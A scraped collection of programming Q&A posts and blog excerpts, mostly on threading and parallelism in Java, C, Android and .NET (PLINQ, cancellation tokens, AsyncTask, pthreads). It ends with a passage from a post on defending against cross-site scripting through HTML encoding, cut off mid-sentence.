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  • Need a hand understanding this Java code please :-)

    - by Brian
    Hi all, Just wondering if anyone would be able to take a look at this code for implementing the quicksort algorithm and answer me a few questions, please :-) public class Run { /*************************************************************************** * Quicksort code from Sedgewick 7.1, 7.2. **************************************************************************/ public static void quicksort(double[] a) { //shuffle(a); // to guard against worst-case quicksort(a, 0, a.length - 1, 0); } static void quicksort(final double[] a, final int left, final int right, final int tdepth) { if (right <= left) return; final int i = partition(a, left, right); if ((tdepth < 4) && ((i - left) > 1000)) { final Thread t = new Thread() { public void run() { quicksort(a, left, i - 1, tdepth + 1); } }; t.start(); quicksort(a, i + 1, right, tdepth + 1); try { t.join(); } catch (InterruptedException e) { throw new RuntimeException("Cancelled", e); } } else { quicksort(a, left, i - 1, tdepth); quicksort(a, i + 1, right, tdepth); } } // partition a[left] to a[right], assumes left < right private static int partition(double[] a, int left, int right) { int i = left - 1; int j = right; while (true) { while (less(a[++i], a[right])) // find item on left to swap ; // a[right] acts as sentinel while (less(a[right], a[--j])) // find item on right to swap if (j == left) break; // don't go out-of-bounds if (i >= j) break; // check if pointers cross exch(a, i, j); // swap two elements into place } exch(a, i, right); // swap with partition element return i; } // is x < y ? private static boolean less(double x, double y) { return (x < y); } // exchange a[i] and a[j] private static void exch(double[] a, int i, int j) { double swap = a[i]; a[i] = a[j]; a[j] = swap; } // shuffle the array a[] private static void shuffle(double[] a) { int N = a.length; for (int i = 0; i < N; i++) { int r = i + (int) (Math.random() * (N - i)); // between i and N-1 exch(a, i, r); } } // test client public static void main(String[] args) { int N = 5000000; // Integer.parseInt(args[0]); // generate N random real numbers between 0 and 1 long start = System.currentTimeMillis(); double[] a = new double[N]; for (int i = 0; i < N; i++) a[i] = Math.random(); long stop = System.currentTimeMillis(); double elapsed = (stop - start) / 1000.0; System.out.println("Generating input: " + elapsed + " seconds"); // sort them start = System.currentTimeMillis(); quicksort(a); stop = System.currentTimeMillis(); elapsed = (stop - start) / 1000.0; System.out.println("Quicksort: " + elapsed + " seconds"); } } My questions are: What is the purpose of the variable tdepth? Is this considered a "proper" implementation of a parallel quicksort? I ask becuase it doesn't use implements Runnable or extends Thread... If it doesn't already, is it possible to modify this code to use multiple threads? By passing in the number of threads you want to use as a parameter, for example...? Many thanks, Brian

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  • Is there a library available which easily can record and replay results of API calls?

    - by Billy ONeal
    I'm working on writing various things that call relatively complicated Win32 API functions. Here's an example: //Encapsulates calling NtQuerySystemInformation buffer management. WindowsApi::AutoArray NtDll::NtQuerySystemInformation( SystemInformationClass toGet ) const { AutoArray result; ULONG allocationSize = 1024; ULONG previousSize; NTSTATUS errorCheck; do { previousSize = allocationSize; result.Allocate(allocationSize); errorCheck = WinQuerySystemInformation(toGet, result.GetAs<void>(), allocationSize, &allocationSize); if (allocationSize <= previousSize) allocationSize = previousSize * 2; } while (errorCheck == 0xC0000004L); if (errorCheck != 0) { THROW_MANUAL_WINDOWS_ERROR(WinRtlNtStatusToDosError(errorCheck)); } return result; } //Client of the above. ProcessSnapshot::ProcessSnapshot() { using Dll::NtDll; NtDll ntdll; AutoArray systemInfoBuffer = ntdll.NtQuerySystemInformation( NtDll::SystemProcessInformation); BYTE * currentPtr = systemInfoBuffer.GetAs<BYTE>(); //Loop through the results, creating Process objects. SYSTEM_PROCESSES * asSysInfo; do { // Loop book keeping asSysInfo = reinterpret_cast<SYSTEM_PROCESSES *>(currentPtr); currentPtr += asSysInfo->NextEntryDelta; //Create the process for the current iteration and fill it with data. std::auto_ptr<ProcImpl> currentProc(ProcFactory( static_cast<unsigned __int32>(asSysInfo->ProcessId), this)); NormalProcess* nptr = dynamic_cast<NormalProcess*>(currentProc.get()); if (nptr) { nptr->SetProcessName(asSysInfo->ProcessName); } // Populate process threads for(ULONG idx = 0; idx < asSysInfo->ThreadCount; ++idx) { SYSTEM_THREADS& sysThread = asSysInfo->Threads[idx]; Thread thread( currentProc.get(), static_cast<unsigned __int32>(sysThread.ClientId.UniqueThread), sysThread.StartAddress); currentProc->AddThread(thread); } processes.push_back(currentProc); } while(asSysInfo->NextEntryDelta != 0); } My problem is in mocking out the NtDll::NtQuerySystemInformation method -- namely, that the data structure returned is complicated (Well, here it's actually relatively simple but it can be complicated), and writing a test which builds the data structure like the API call does can take 5-6 times as long as writing the code that uses the API. What I'd like to do is take a call to the API, and record it somehow, so that I can return that recorded value to the code under test without actually calling the API. The returned structures cannot simply be memcpy'd, because they often contain inner pointers (pointers to other locations in the same buffer). The library in question would need to check for these kinds of things, and be able to restore pointer values to a similar buffer upon replay. (i.e. check each pointer sized value if it could be interpreted as a pointer within the buffer, change that to an offset, and remember to change it back to a pointer on replay -- a false positive rate here is acceptable) Is there anything out there that does anything like this?

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  • AsyncTask, inner classes and Buttons states

    - by Intern John Smith
    For a musical application (a sequencer), I have a few buttons static ArrayList<Button> Buttonlist = new ArrayList<Button>(); Buttonlist.add(0,(Button) findViewById(R.id.case_kick1)); Buttonlist.add(1,(Button) findViewById(R.id.case_kick2)); Buttonlist.add(2,(Button) findViewById(R.id.case_kick3)); Buttonlist.add(3,(Button) findViewById(R.id.case_kick4)); Buttonlist.add(4,(Button) findViewById(R.id.case_kick5)); Buttonlist.add(5,(Button) findViewById(R.id.case_kick6)); Buttonlist.add(6,(Button) findViewById(R.id.case_kick7)); Buttonlist.add(7,(Button) findViewById(R.id.case_kick8)); that I activate through onClickListeners with for example Buttonlist.get(0).setActivated(true); I played the activated sound via a loop and ifs : if (Buttonlist.get(k).isActivated()) {mSoundManager.playSound(1); Thread.sleep(250);} The app played fine but I couldn't access the play/pause button when it was playing : I searched and found out about AsyncTasks. I have a nested class PlayPause : class PlayPause extends AsyncTask<ArrayList<Button>,Integer,Void> in which I have this : protected Void doInBackground(ArrayList<Button>... params) { for(int k=0;k<8;k++) { boolean isPlayed = false; if (Buttonlist.get(k).isActivated()) { mSoundManager.playSound(1); isPlayed = true; try {Thread.sleep(250); } catch (InterruptedException e) {e.printStackTrace();}} if(!isPlayed){ try {Thread.sleep(250);} catch (InterruptedException e) {e.printStackTrace();} } } return null; } I launch it via Play.setOnClickListener(new PlayClickListener()); with PlayClickListener : public class PlayClickListener implements OnClickListener { private Tutorial acti; public PlayClickListener(){ super(); } @SuppressWarnings("unchecked") public void onClick(View v) { if(Tutorial.play==0){ Tutorial.play=1; Tutorial.Play.setBackgroundResource(R.drawable.action_down); acti = new Tutorial(); Tutorial.PlayPause myPlayPause = acti.new PlayPause(); myLecture.execute(Tutorial.Buttonlist); } else { Tutorial.play=0; Tutorial.lecture.cancel(true); Tutorial.Play.setBackgroundResource(R.drawable.action); } } } But it doesn't work. when I click on buttons and I touch Play/Pause, I have this : 07-02 11:06:01.350: E/AndroidRuntime(7883): FATAL EXCEPTION: AsyncTask #1 07-02 11:06:01.350: E/AndroidRuntime(7883): Caused by: java.lang.NullPointerException 07-02 11:06:01.350: E/AndroidRuntime(7883): at com.Tutorial.Tutorial$PlayPause.doInBackground(Tutorial.java:603) 07-02 11:06:01.350: E/AndroidRuntime(7883): at com.Tutorial.Tutorial$PlayPause.doInBackground(Tutorial.java:1) And I don't know how to get rid of this error. Obviously, the Asynctask doesn't find the Buttonlist activated status, even if the list is static. I don't know how to access these buttons' states, isPressed doesn't work either. Thanks for reading and helping me !

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  • how to fetch meaningful

    - by user1298017
    Hi Every body, I have connected my device to serial port. I am using Javax.comm API to fetch the data from my device. On tapping of card i am reading data as below: newData = inputStream.read(); and able to fetch data : 0 128 161 132 132 132 132 132 132 132 101 65 2 226 99 98 132 132 132 132 132 132 132 132 131 134 164 132 132 132 165 134 132 196 230 167 132 132 132 132 132 132 132 197 196 132 133 132 132 164 197 132 132 198 103 255 How can deciper meaning ful text from it. My code is as below: import java.io.*; import java.util.*; import javax.comm.*; import javax.comm.SerialPort; import java.nio.charset.Charset; import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; public class NFCReader3 implements Runnable, SerialPortEventListener { static CommPortIdentifier portId; static Enumeration portList; InputStream inputStream; SerialPort serialPort; Thread readThread; int i=0; public static void main(String[] args) { boolean portFound = false; String defaultPort = "COM9"; portList = CommPortIdentifier.getPortIdentifiers(); while (portList.hasMoreElements()) { portId = (CommPortIdentifier) portList.nextElement(); if (portId.getPortType() == CommPortIdentifier.PORT_SERIAL) { if (portId.getName().equals(defaultPort)) { System.out.println("Found port: "+defaultPort); portFound = true; NFCReader3 reader = new NFCReader3(); } } } if (!portFound) { System.out.println("port " + defaultPort + " not found."); } } public NFCReader3() { try { serialPort = (SerialPort) portId.open("SimpleReadApp2S", 2000); } catch (PortInUseException e) {} try { inputStream = serialPort.getInputStream(); } catch (IOException e) {} try { serialPort.addEventListener(this); } catch (TooManyListenersException e) {} serialPort.notifyOnDataAvailable(true); try { serialPort.setSerialPortParams(9600, SerialPort.DATABITS_8, SerialPort.STOPBITS_1, SerialPort.PARITY_NONE); } catch (UnsupportedCommOperationException e) {} readThread = new Thread(this); readThread.start(); } public void run() { try { Thread.sleep(20000); } catch (InterruptedException e) {} } public void serialEvent(SerialPortEvent event) { StringBuffer inputBuffer = new StringBuffer(); int newData = 0; switch (event.getEventType()) { case SerialPortEvent.BI: case SerialPortEvent.OE: case SerialPortEvent.FE: case SerialPortEvent.PE: case SerialPortEvent.CD: case SerialPortEvent.CTS: case SerialPortEvent.DSR: case SerialPortEvent.RI: case SerialPortEvent.OUTPUT_BUFFER_EMPTY: break; case SerialPortEvent.DATA_AVAILABLE: while (newData != -1) { try { newData = inputStream.read(); System.out.print(newData); System.out.print(" "); if (newData == -1) { break; } if ('\r' == (char)newData) { inputBuffer.append('\n'); } else { inputBuffer.append((char)newData); } } catch (IOException ex) { System.out.println("exception"); System.err.println(ex); return; } } break;

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  • Fragment method and socket.io

    - by Tolgay Toklar
    I have a method,this method updates an array list in fragment.I can call this method in main activity like this public void getFromUser(String message) { addMessageToFragment("ok"); } public void addMessageToFragment(String message) { Log.w("Step 1",message); frgObj.addMessageToList("asd"); } getFromUser is calling from fragment(when user presses the button) this is working as well.But I am using socket.io in my app,when I try to call this method from socket.io,app is not working. public void on(String event, IOAcknowledge ack, Object... args) { try{ addMessageToFragment("ok"); } catch (JSONException e) {} } When this callback function calls,app is giving this errors: 08-19 11:57:24.813: W/System.err(4962): io.socket.SocketIOException: Exception was thrown in on(String, JSONObject[]). 08-19 11:57:24.813: W/System.err(4962): Message was: 5:::{"name":"listele","args":[{"mesaj":"123","gonderen":"781722165-tolgay007-DKSMIcIYGahPuKXriM83","alici":"tolgay007","blck_id":"781722165-tolgay007","out_username":"Anony-781722","ars_status":1,"longinf":"3aqghef","a_status":1}]} 08-19 11:57:24.813: W/System.err(4962): at io.socket.IOConnection.transportMessage(IOConnection.java:702) 08-19 11:57:24.813: W/System.err(4962): at io.socket.WebsocketTransport.onMessage(WebsocketTransport.java:82) 08-19 11:57:24.813: W/System.err(4962): at org.java_websocket.client.WebSocketClient.onWebsocketMessage(WebSocketClient.java:361) 08-19 11:57:24.813: W/System.err(4962): at org.java_websocket.WebSocketImpl.deliverMessage(WebSocketImpl.java:565) 08-19 11:57:24.813: W/System.err(4962): at org.java_websocket.WebSocketImpl.decodeFrames(WebSocketImpl.java:331) 08-19 11:57:24.813: W/System.err(4962): at org.java_websocket.WebSocketImpl.decode(WebSocketImpl.java:152) 08-19 11:57:24.813: W/System.err(4962): at org.java_websocket.client.WebSocketClient.interruptableRun(WebSocketClient.java:247) 08-19 11:57:24.823: W/System.err(4962): at org.java_websocket.client.WebSocketClient.run(WebSocketClient.java:193) 08-19 11:57:24.823: W/System.err(4962): at java.lang.Thread.run(Thread.java:841) 08-19 11:57:24.823: W/System.err(4962): Caused by: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views. 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewRootImpl.checkThread(ViewRootImpl.java:6094) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewRootImpl.focusableViewAvailable(ViewRootImpl.java:2800) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.ViewGroup.focusableViewAvailable(ViewGroup.java:650) 08-19 11:57:24.823: W/System.err(4962): at android.view.View.setFlags(View.java:8878) 08-19 11:57:24.823: W/System.err(4962): at android.view.View.setFocusableInTouchMode(View.java:6114) 08-19 11:57:24.823: W/System.err(4962): at android.widget.AdapterView.checkFocus(AdapterView.java:718) 08-19 11:57:24.823: W/System.err(4962): at android.widget.AdapterView$AdapterDataSetObserver.onChanged(AdapterView.java:813) 08-19 11:57:24.823: W/System.err(4962): at android.widget.AbsListView$AdapterDataSetObserver.onChanged(AbsListView.java:6280) 08-19 11:57:24.823: W/System.err(4962): at android.database.DataSetObservable.notifyChanged(DataSetObservable.java:37) 08-19 11:57:24.823: W/System.err(4962): at android.widget.BaseAdapter.notifyDataSetChanged(BaseAdapter.java:50) 08-19 11:57:24.823: W/System.err(4962): at android.widget.ArrayAdapter.notifyDataSetChanged(ArrayAdapter.java:286) 08-19 11:57:24.823: W/System.err(4962): at com.impact.ribony.ConversationFragment.addMessageToList(ConversationFragment.java:91) 08-19 11:57:24.823: W/System.err(4962): at com.impact.ribony.MainActivity.addMessageToFragment(MainActivity.java:344) 08-19 11:57:24.823: W/System.err(4962): at com.impact.ribony.MainActivity$2.on(MainActivity.java:183) 08-19 11:57:24.823: W/System.err(4962): at io.socket.IOConnection.on(IOConnection.java:908) 08-19 11:57:24.883: W/System.err(4962): at io.socket.IOConnection.transportMessage(IOConnection.java:697) I didn't understand this error.What can be cause this error ?

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  • Use of select or multithread for almost 80 or more clients?

    - by Tushar Goel
    I am working on one project in which i need to read from 80 or more clients and then write their o/p into a file continuously and then read these new data for another task. My question is what should i use select or multithreading? Also I tried to use multi threading using read/fgets and write/fputs call but as they are blocking calls and one operation can be performed at one time so it is not feasible. Any idea is much appreciated. update 1: I have tried to implement the same using condition variable. I able to achieve this but it is writing and reading one at a time.When another client tried to write then it cannot able to write unless i quit from the 1st thread. I do not understand this. This should work now. What mistake i am doing? Update 2: Thanks all .. I am able to succeeded to get this model implemented using mutex condition variable. updated Code is as below: **header file******* char *mailbox ; pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER ; pthread_cond_t writer = PTHREAD_COND_INITIALIZER; int main(int argc,char *argv[]) { pthread_t t1 , t2; pthread_attr_t attr; int fd, sock , *newfd; struct sockaddr_in cliaddr; socklen_t clilen; void *read_file(); void *update_file(); //making a server socket if((fd=make_server(atoi(argv[1])))==-1) oops("Unable to make server",1) //detaching threads pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED); ///opening thread for reading pthread_create(&t2,&attr,read_file,NULL); while(1) { clilen = sizeof(cliaddr); //accepting request sock=accept(fd,(struct sockaddr *)&cliaddr,&clilen); //error comparison against failire of request and INT if(sock==-1 && errno != EINTR) oops("accept",2) else if ( sock ==-1 && errno == EINTR) oops("Pressed INT",3) newfd = (int *)malloc(sizeof(int)); *newfd = sock; //creating thread per request pthread_create(&t1,&attr,update_file,(void *)newfd); } free(newfd); return 0; } void *read_file(void *m) { pthread_mutex_lock(&lock); while(1) { printf("Waiting for lock.\n"); pthread_cond_wait(&writer,&lock); printf("I am reading here.\n"); printf("%s",mailbox); mailbox = NULL ; pthread_cond_signal(&writer); } } void *update_file(int *m) { int sock = *m; int fs ; int nread; char buffer[BUFSIZ] ; if((fs=open("database.txt",O_RDWR))==-1) oops("Unable to open file",4) while(1) { pthread_mutex_lock(&lock); write(1,"Waiting to get writer lock.\n",29); if(mailbox != NULL) pthread_cond_wait(&writer,&lock); lseek(fs,0,SEEK_END); printf("Reading from socket.\n"); nread=read(sock,buffer,BUFSIZ); printf("Writing in file.\n"); write(fs,buffer,nread); mailbox = buffer ; pthread_cond_signal(&writer); pthread_mutex_unlock(&lock); } close(fs); }

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  • 10000's+ UI elements, bind or draw?

    - by jpiccolo
    I am drawing a header for a timeline control. It looks like this: I go to 0.01 millisecond per line, so for a 10 minute timeline I am looking at drawing 60000 lines + 6000 labels. This takes a while, ~10 seconds. I would like to offload this from the UI thread. My code is currently: private void drawHeader() { Header.Children.Clear(); switch (viewLevel) { case ViewLevel.MilliSeconds100: double hWidth = Header.Width; this.drawHeaderLines(new TimeSpan(0, 0, 0, 0, 10), 100, 5, hWidth); //Was looking into background worker to off load UI //backgroundWorker = new BackgroundWorker(); //backgroundWorker.DoWork += delegate(object sender, DoWorkEventArgs args) // { // this.drawHeaderLines(new TimeSpan(0, 0, 0, 0, 10), 100, 5, hWidth); // }; //backgroundWorker.RunWorkerAsync(); break; } } private void drawHeaderLines(TimeSpan timeStep, int majorEveryXLine, int distanceBetweenLines, double headerWidth) { var currentTime = new TimeSpan(0, 0, 0, 0, 0); const int everyXLine100 = 10; double currentX = 0; var currentLine = 0; while (currentX < headerWidth) { var l = new Line { ToolTip = currentTime.ToString(@"hh\:mm\:ss\.fff"), StrokeThickness = 1, X1 = 0, X2 = 0, Y1 = 30, Y2 = 25 }; if (((currentLine % majorEveryXLine) == 0) && currentLine != 0) { l.StrokeThickness = 2; l.Y2 = 15; var textBlock = new TextBlock { Text = l.ToolTip.ToString(), FontSize = 8, FontFamily = new FontFamily("Tahoma"), Foreground = new SolidColorBrush(Color.FromRgb(255, 255, 255)) }; Canvas.SetLeft(textBlock, (currentX - 22)); Canvas.SetTop(textBlock, 0); Header.Children.Add(textBlock); } if ((((currentLine % everyXLine100) == 0) && currentLine != 0) && (currentLine % majorEveryXLine) != 0) { l.Y2 = 20; var textBlock = new TextBlock { Text = string.Format(".{0}", TimeSpan.Parse(l.ToolTip.ToString()).Milliseconds), FontSize = 8, FontFamily = new FontFamily("Tahoma"), Foreground = new SolidColorBrush(Color.FromRgb(192, 192, 192)) }; Canvas.SetLeft(textBlock, (currentX - 8)); Canvas.SetTop(textBlock, 8); Header.Children.Add(textBlock); } l.Stroke = new SolidColorBrush(Color.FromRgb(255, 255, 255)); Header.Children.Add(l); Canvas.SetLeft(l, currentX); currentX += distanceBetweenLines; currentLine++; currentTime += timeStep; } } I had looked into BackgroundWorker, except you can't create UI elements on a non-UI thread. Is it possible at all to do drawHeaderLines in a non-UI thread? Could I use data binding for drawing the lines? Would this help with UI responsiveness? I would imagine I can use databinding, but the Styling is probably beyond my current WPF ability (coming from winforms and trying to learn what all these style objects are and binding them). Would anyone be able to supply a starting point for tempting this out? Or Google a tutorial that would get me started?

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  • Parallelism in .NET – Part 10, Cancellation in PLINQ and the Parallel class

    - by Reed
    Many routines are parallelized because they are long running processes.  When writing an algorithm that will run for a long period of time, its typically a good practice to allow that routine to be cancelled.  I previously discussed terminating a parallel loop from within, but have not demonstrated how a routine can be cancelled from the caller’s perspective.  Cancellation in PLINQ and the Task Parallel Library is handled through a new, unified cooperative cancellation model introduced with .NET 4.0. Cancellation in .NET 4 is based around a new, lightweight struct called CancellationToken.  A CancellationToken is a small, thread-safe value type which is generated via a CancellationTokenSource.  There are many goals which led to this design.  For our purposes, we will focus on a couple of specific design decisions: Cancellation is cooperative.  A calling method can request a cancellation, but it’s up to the processing routine to terminate – it is not forced. Cancellation is consistent.  A single method call requests a cancellation on every copied CancellationToken in the routine. Let’s begin by looking at how we can cancel a PLINQ query.  Supposed we wanted to provide the option to cancel our query from Part 6: double min = collection .AsParallel() .Min(item => item.PerformComputation()); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } We would rewrite this to allow for cancellation by adding a call to ParallelEnumerable.WithCancellation as follows: var cts = new CancellationTokenSource(); // Pass cts here to a routine that could, // in parallel, request a cancellation try { double min = collection .AsParallel() .WithCancellation(cts.Token) .Min(item => item.PerformComputation()); } catch (OperationCanceledException e) { // Query was cancelled before it finished } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, if the user calls cts.Cancel() before the PLINQ query completes, the query will stop processing, and an OperationCanceledException will be raised.  Be aware, however, that cancellation will not be instantaneous.  When cts.Cancel() is called, the query will only stop after the current item.PerformComputation() elements all finish processing.  cts.Cancel() will prevent PLINQ from scheduling a new task for a new element, but will not stop items which are currently being processed.  This goes back to the first goal I mentioned – Cancellation is cooperative.  Here, we’re requesting the cancellation, but it’s up to PLINQ to terminate. If we wanted to allow cancellation to occur within our routine, we would need to change our routine to accept a CancellationToken, and modify it to handle this specific case: public void PerformComputation(CancellationToken token) { for (int i=0; i<this.iterations; ++i) { // Add a check to see if we've been canceled // If a cancel was requested, we'll throw here token.ThrowIfCancellationRequested(); // Do our processing now this.RunIteration(i); } } With this overload of PerformComputation, each internal iteration checks to see if a cancellation request was made, and will throw an OperationCanceledException at that point, instead of waiting until the method returns.  This is good, since it allows us, as developers, to plan for cancellation, and terminate our routine in a clean, safe state. This is handled by changing our PLINQ query to: try { double min = collection .AsParallel() .WithCancellation(cts.Token) .Min(item => item.PerformComputation(cts.Token)); } catch (OperationCanceledException e) { // Query was cancelled before it finished } PLINQ is very good about handling this exception, as well.  There is a very good chance that multiple items will raise this exception, since the entire purpose of PLINQ is to have multiple items be processed concurrently.  PLINQ will take all of the OperationCanceledException instances raised within these methods, and merge them into a single OperationCanceledException in the call stack.  This is done internally because we added the call to ParallelEnumerable.WithCancellation. If, however, a different exception is raised by any of the elements, the OperationCanceledException as well as the other Exception will be merged into a single AggregateException. The Task Parallel Library uses the same cancellation model, as well.  Here, we supply our CancellationToken as part of the configuration.  The ParallelOptions class contains a property for the CancellationToken.  This allows us to cancel a Parallel.For or Parallel.ForEach routine in a very similar manner to our PLINQ query.  As an example, we could rewrite our Parallel.ForEach loop from Part 2 to support cancellation by changing it to: try { var cts = new CancellationTokenSource(); var options = new ParallelOptions() { CancellationToken = cts.Token }; Parallel.ForEach(customers, options, customer => { // Run some process that takes some time... DateTime lastContact = theStore.GetLastContact(customer); TimeSpan timeSinceContact = DateTime.Now - lastContact; // Check for cancellation here options.CancellationToken.ThrowIfCancellationRequested(); // If it's been more than two weeks, send an email, and update... if (timeSinceContact.Days > 14) { theStore.EmailCustomer(customer); customer.LastEmailContact = DateTime.Now; } }); } catch (OperationCanceledException e) { // The loop was cancelled } Notice that here we use the same approach taken in PLINQ.  The Task Parallel Library will automatically handle our cancellation in the same manner as PLINQ, providing a clean, unified model for cancellation of any parallel routine.  The TPL performs the same aggregation of the cancellation exceptions as PLINQ, as well, which is why a single exception handler for OperationCanceledException will cleanly handle this scenario.  This works because we’re using the same CancellationToken provided in the ParallelOptions.  If a different exception was thrown by one thread, or a CancellationToken from a different CancellationTokenSource was used to raise our exception, we would instead receive all of our individual exceptions merged into one AggregateException.

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  • Parallelism in .NET – Part 6, Declarative Data Parallelism

    - by Reed
    When working with a problem that can be decomposed by data, we have a collection, and some operation being performed upon the collection.  I’ve demonstrated how this can be parallelized using the Task Parallel Library and imperative programming using imperative data parallelism via the Parallel class.  While this provides a huge step forward in terms of power and capabilities, in many cases, special care must still be given for relative common scenarios. C# 3.0 and Visual Basic 9.0 introduced a new, declarative programming model to .NET via the LINQ Project.  When working with collections, we can now write software that describes what we want to occur without having to explicitly state how the program should accomplish the task.  By taking advantage of LINQ, many operations become much shorter, more elegant, and easier to understand and maintain.  Version 4.0 of the .NET framework extends this concept into the parallel computation space by introducing Parallel LINQ. Before we delve into PLINQ, let’s begin with a short discussion of LINQ.  LINQ, the extensions to the .NET Framework which implement language integrated query, set, and transform operations, is implemented in many flavors.  For our purposes, we are interested in LINQ to Objects.  When dealing with parallelizing a routine, we typically are dealing with in-memory data storage.  More data-access oriented LINQ variants, such as LINQ to SQL and LINQ to Entities in the Entity Framework fall outside of our concern, since the parallelism there is the concern of the data base engine processing the query itself. LINQ (LINQ to Objects in particular) works by implementing a series of extension methods, most of which work on IEnumerable<T>.  The language enhancements use these extension methods to create a very concise, readable alternative to using traditional foreach statement.  For example, let’s revisit our minimum aggregation routine we wrote in Part 4: double min = double.MaxValue; foreach(var item in collection) { double value = item.PerformComputation(); min = System.Math.Min(min, value); } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, we’re doing a very simple computation, but writing this in an imperative style.  This can be loosely translated to English as: Create a very large number, and save it in min Loop through each item in the collection. For every item: Perform some computation, and save the result If the computation is less than min, set min to the computation Although this is fairly easy to follow, it’s quite a few lines of code, and it requires us to read through the code, step by step, line by line, in order to understand the intention of the developer. We can rework this same statement, using LINQ: double min = collection.Min(item => item.PerformComputation()); Here, we’re after the same information.  However, this is written using a declarative programming style.  When we see this code, we’d naturally translate this to English as: Save the Min value of collection, determined via calling item.PerformComputation() That’s it – instead of multiple logical steps, we have one single, declarative request.  This makes the developer’s intentions very clear, and very easy to follow.  The system is free to implement this using whatever method required. Parallel LINQ (PLINQ) extends LINQ to Objects to support parallel operations.  This is a perfect fit in many cases when you have a problem that can be decomposed by data.  To show this, let’s again refer to our minimum aggregation routine from Part 4, but this time, let’s review our final, parallelized version: // Safe, and fast! double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach( collection, // First, we provide a local state initialization delegate. () => double.MaxValue, // Next, we supply the body, which takes the original item, loop state, // and local state, and returns a new local state (item, loopState, localState) => { double value = item.PerformComputation(); return System.Math.Min(localState, value); }, // Finally, we provide an Action<TLocal>, to "merge" results together localState => { // This requires locking, but it's only once per used thread lock(syncObj) min = System.Math.Min(min, localState); } ); Here, we’re doing the same computation as above, but fully parallelized.  Describing this in English becomes quite a feat: Create a very large number, and save it in min Create a temporary object we can use for locking Call Parallel.ForEach, specifying three delegates For the first delegate: Initialize a local variable to hold the local state to a very large number For the second delegate: For each item in the collection, perform some computation, save the result If the result is less than our local state, save the result in local state For the final delegate: Take a lock on our temporary object to protect our min variable Save the min of our min and local state variables Although this solves our problem, and does it in a very efficient way, we’ve created a set of code that is quite a bit more difficult to understand and maintain. PLINQ provides us with a very nice alternative.  In order to use PLINQ, we need to learn one new extension method that works on IEnumerable<T> – ParallelEnumerable.AsParallel(). That’s all we need to learn in order to use PLINQ: one single method.  We can write our minimum aggregation in PLINQ very simply: double min = collection.AsParallel().Min(item => item.PerformComputation()); By simply adding “.AsParallel()” to our LINQ to Objects query, we converted this to using PLINQ and running this computation in parallel!  This can be loosely translated into English easily, as well: Process the collection in parallel Get the Minimum value, determined by calling PerformComputation on each item Here, our intention is very clear and easy to understand.  We just want to perform the same operation we did in serial, but run it “as parallel”.  PLINQ completely extends LINQ to Objects: the entire functionality of LINQ to Objects is available.  By simply adding a call to AsParallel(), we can specify that a collection should be processed in parallel.  This is simple, safe, and incredibly useful.

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  • Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

    - by Rick Strahl
    The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to 